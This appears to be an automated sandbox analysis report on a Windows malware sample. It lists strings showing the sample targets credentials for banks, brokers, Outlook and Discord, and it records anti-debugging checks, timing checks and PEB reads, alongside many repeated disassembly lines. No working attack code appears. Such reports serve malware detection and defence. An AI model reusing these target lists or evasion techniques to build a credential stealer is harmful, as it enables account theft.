            Source: 75EG3OW_L.12.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155x
            Source: 75EG3OW_L.12.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696497155
            Source: Kf2uv5NZsp.exe, 0000000B.00000002.3425953113.00000000013DA000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
            Source: 75EG3OW_L.12.drBinary or memory string: interactivebrokers.comVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: AMC password management pageVMware20,11696497155
            Source: PresentationHost.exe, 0000000C.00000002.3428898470.0000000008434000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ive Brokers - GDCDYNVMware20,11696497155p
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: Canara Transaction PasswordVMware20,11696497155}
            Source: 75EG3OW_L.12.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
            Source: 75EG3OW_L.12.drBinary or memory string: account.microsoft.com/profileVMware20,11696497155u
            Source: 75EG3OW_L.12.drBinary or memory string: discord.comVMware20,11696497155f
            Source: 75EG3OW_L.12.drBinary or memory string: netportal.hdfcbank.comVMware20,11696497155
            Source: 75EG3OW_L.12.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
            Source: 75EG3OW_L.12.drBinary or memory string: outlook.office365.comVMware20,11696497155t
            Source: 75EG3OW_L.12.drBinary or memory string: outlook.office.comVMware20,11696497155s
            Source: 75EG3OW_L.12.drBinary or memory string: www.interactivebrokers.comVMware20,11696497155}
            Source: 75EG3OW_L.12.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
            Source: 75EG3OW_L.12.drBinary or memory string: microsoft.visualstudio.comVMware20,11696497155x
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeAPI call chain: ExitProcess graph end nodegraph_0-4624
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeAPI call chain: ExitProcess graph end nodegraph_0-4622
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\PresentationHost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D1C0 rdtsc 8_2_33A2D1C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F35C0 NtCreateMutant,LdrInitializeThunk,8_2_339F35C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_10001B18
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A513B9 mov eax, dword ptr fs:[00000030h]8_2_33A513B9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A513B9 mov eax, dword ptr fs:[00000030h]8_2_33A513B9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A513B9 mov eax, dword ptr fs:[00000030h]8_2_33A513B9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A8539D mov eax, dword ptr fs:[00000030h]8_2_33A8539D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D33A5 mov eax, dword ptr fs:[00000030h]8_2_339D33A5
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E33A0 mov eax, dword ptr fs:[00000030h]8_2_339E33A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E33A0 mov eax, dword ptr fs:[00000030h]8_2_339E33A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F3E6 mov eax, dword ptr fs:[00000030h]8_2_33A6F3E6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A853FC mov eax, dword ptr fs:[00000030h]8_2_33A853FC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C93F9 mov eax, dword ptr fs:[00000030h]8_2_339C93F9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6B3D0 mov ecx, dword ptr fs:[00000030h]8_2_33A6B3D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7132D mov eax, dword ptr fs:[00000030h]8_2_33A7132D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7132D mov eax, dword ptr fs:[00000030h]8_2_33A7132D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3930B mov eax, dword ptr fs:[00000030h]8_2_33A3930B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3930B mov eax, dword ptr fs:[00000030h]8_2_33A3930B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3930B mov eax, dword ptr fs:[00000030h]8_2_33A3930B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A7330 mov eax, dword ptr fs:[00000030h]8_2_339A7330
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DF32C mov eax, dword ptr fs:[00000030h]8_2_339DF32C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F367 mov eax, dword ptr fs:[00000030h]8_2_33A6F367
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A53370 mov eax, dword ptr fs:[00000030h]8_2_33A53370
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AD34C mov eax, dword ptr fs:[00000030h]8_2_339AD34C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AD34C mov eax, dword ptr fs:[00000030h]8_2_339AD34C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85341 mov eax, dword ptr fs:[00000030h]8_2_33A85341
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B7370 mov eax, dword ptr fs:[00000030h]8_2_339B7370
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B7370 mov eax, dword ptr fs:[00000030h]8_2_339B7370
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B7370 mov eax, dword ptr fs:[00000030h]8_2_339B7370
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E329E mov eax, dword ptr fs:[00000030h]8_2_339E329E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E329E mov eax, dword ptr fs:[00000030h]8_2_339E329E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A792A6 mov eax, dword ptr fs:[00000030h]8_2_33A792A6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A792A6 mov eax, dword ptr fs:[00000030h]8_2_33A792A6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A792A6 mov eax, dword ptr fs:[00000030h]8_2_33A792A6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A792A6 mov eax, dword ptr fs:[00000030h]8_2_33A792A6
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A472A0 mov eax, dword ptr fs:[00000030h]8_2_33A472A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A472A0 mov eax, dword ptr fs:[00000030h]8_2_33A472A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A392BC mov eax, dword ptr fs:[00000030h]8_2_33A392BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A392BC mov eax, dword ptr fs:[00000030h]8_2_33A392BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A392BC mov ecx, dword ptr fs:[00000030h]8_2_33A392BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A392BC mov ecx, dword ptr fs:[00000030h]8_2_33A392BC
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85283 mov eax, dword ptr fs:[00000030h]8_2_33A85283
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C52A0 mov eax, dword ptr fs:[00000030h]8_2_339C52A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C52A0 mov eax, dword ptr fs:[00000030h]8_2_339C52A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C52A0 mov eax, dword ptr fs:[00000030h]8_2_339C52A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C52A0 mov eax, dword ptr fs:[00000030h]8_2_339C52A0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A852E2 mov eax, dword ptr fs:[00000030h]8_2_33A852E2
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A612ED mov eax, dword ptr fs:[00000030h]8_2_33A612ED
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DF2D0 mov eax, dword ptr fs:[00000030h]8_2_339DF2D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DF2D0 mov eax, dword ptr fs:[00000030h]8_2_339DF2D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B2F0 mov eax, dword ptr fs:[00000030h]8_2_33A5B2F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A5B2F0 mov eax, dword ptr fs:[00000030h]8_2_33A5B2F0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB2C0 mov eax, dword ptr fs:[00000030h]8_2_339DB2C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B92C5 mov eax, dword ptr fs:[00000030h]8_2_339B92C5
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B92C5 mov eax, dword ptr fs:[00000030h]8_2_339B92C5
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6F2F8 mov eax, dword ptr fs:[00000030h]8_2_33A6F2F8
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85227 mov eax, dword ptr fs:[00000030h]8_2_33A85227
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E7208 mov eax, dword ptr fs:[00000030h]8_2_339E7208
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E7208 mov eax, dword ptr fs:[00000030h]8_2_339E7208
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7D26B mov eax, dword ptr fs:[00000030h]8_2_33A7D26B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7D26B mov eax, dword ptr fs:[00000030h]8_2_33A7D26B
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E724D mov eax, dword ptr fs:[00000030h]8_2_339E724D
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9240 mov eax, dword ptr fs:[00000030h]8_2_339A9240
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9240 mov eax, dword ptr fs:[00000030h]8_2_339A9240
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D9274 mov eax, dword ptr fs:[00000030h]8_2_339D9274
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F1270 mov eax, dword ptr fs:[00000030h]8_2_339F1270
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339F1270 mov eax, dword ptr fs:[00000030h]8_2_339F1270
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6B256 mov eax, dword ptr fs:[00000030h]8_2_33A6B256
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A6B256 mov eax, dword ptr fs:[00000030h]8_2_33A6B256
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3D250 mov ecx, dword ptr fs:[00000030h]8_2_33A3D250
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A65180 mov eax, dword ptr fs:[00000030h]8_2_33A65180
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A65180 mov eax, dword ptr fs:[00000030h]8_2_33A65180
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339CB1B0 mov eax, dword ptr fs:[00000030h]8_2_339CB1B0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A07190 mov eax, dword ptr fs:[00000030h]8_2_33A07190
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A831E1 mov eax, dword ptr fs:[00000030h]8_2_33A831E1
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ED1D0 mov eax, dword ptr fs:[00000030h]8_2_339ED1D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339ED1D0 mov ecx, dword ptr fs:[00000030h]8_2_339ED1D0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A571F9 mov esi, dword ptr fs:[00000030h]8_2_33A571F9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A851CB mov eax, dword ptr fs:[00000030h]8_2_33A851CB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D51EF mov eax, dword ptr fs:[00000030h]8_2_339D51EF
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A87120 mov eax, dword ptr fs:[00000030h]8_2_33A87120
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1131 mov eax, dword ptr fs:[00000030h]8_2_339B1131
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B1131 mov eax, dword ptr fs:[00000030h]8_2_339B1131
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB136 mov eax, dword ptr fs:[00000030h]8_2_339AB136
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB136 mov eax, dword ptr fs:[00000030h]8_2_339AB136
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB136 mov eax, dword ptr fs:[00000030h]8_2_339AB136
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AB136 mov eax, dword ptr fs:[00000030h]8_2_339AB136
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B7152 mov eax, dword ptr fs:[00000030h]8_2_339B7152
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9148 mov eax, dword ptr fs:[00000030h]8_2_339A9148
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9148 mov eax, dword ptr fs:[00000030h]8_2_339A9148
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9148 mov eax, dword ptr fs:[00000030h]8_2_339A9148
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339A9148 mov eax, dword ptr fs:[00000030h]8_2_339A9148
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A49179 mov eax, dword ptr fs:[00000030h]8_2_33A49179
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43140 mov eax, dword ptr fs:[00000030h]8_2_33A43140
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43140 mov eax, dword ptr fs:[00000030h]8_2_33A43140
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A43140 mov eax, dword ptr fs:[00000030h]8_2_33A43140
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339AF172 mov eax, dword ptr fs:[00000030h]8_2_339AF172
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85152 mov eax, dword ptr fs:[00000030h]8_2_33A85152
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339E909C mov eax, dword ptr fs:[00000030h]8_2_339E909C
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339B5096 mov eax, dword ptr fs:[00000030h]8_2_339B5096
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DD090 mov eax, dword ptr fs:[00000030h]8_2_339DD090
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DD090 mov eax, dword ptr fs:[00000030h]8_2_339DD090
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3D080 mov eax, dword ptr fs:[00000030h]8_2_33A3D080
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3D080 mov eax, dword ptr fs:[00000030h]8_2_33A3D080
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D90DB mov eax, dword ptr fs:[00000030h]8_2_339D90DB
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov ecx, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov ecx, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov ecx, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov ecx, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C70C0 mov eax, dword ptr fs:[00000030h]8_2_339C70C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D0C0 mov eax, dword ptr fs:[00000030h]8_2_33A2D0C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D0C0 mov eax, dword ptr fs:[00000030h]8_2_33A2D0C0
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A850D9 mov eax, dword ptr fs:[00000030h]8_2_33A850D9
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D50E4 mov eax, dword ptr fs:[00000030h]8_2_339D50E4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339D50E4 mov ecx, dword ptr fs:[00000030h]8_2_339D50E4
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7903E mov eax, dword ptr fs:[00000030h]8_2_33A7903E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7903E mov eax, dword ptr fs:[00000030h]8_2_33A7903E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7903E mov eax, dword ptr fs:[00000030h]8_2_33A7903E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A7903E mov eax, dword ptr fs:[00000030h]8_2_33A7903E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A85062 mov eax, dword ptr fs:[00000030h]8_2_33A85062
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A3106E mov eax, dword ptr fs:[00000030h]8_2_33A3106E
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339DB052 mov eax, dword ptr fs:[00000030h]8_2_339DB052
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_33A2D070 mov ecx, dword ptr fs:[00000030h]8_2_33A2D070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov ecx, dword ptr fs:[00000030h]8_2_339C1070
            Source: C:\Users\user\Desktop\mF8WNclxnv.exeCode function: 8_2_339C1070 mov eax, dword ptr fs:[00000030h]8_2_339C1070
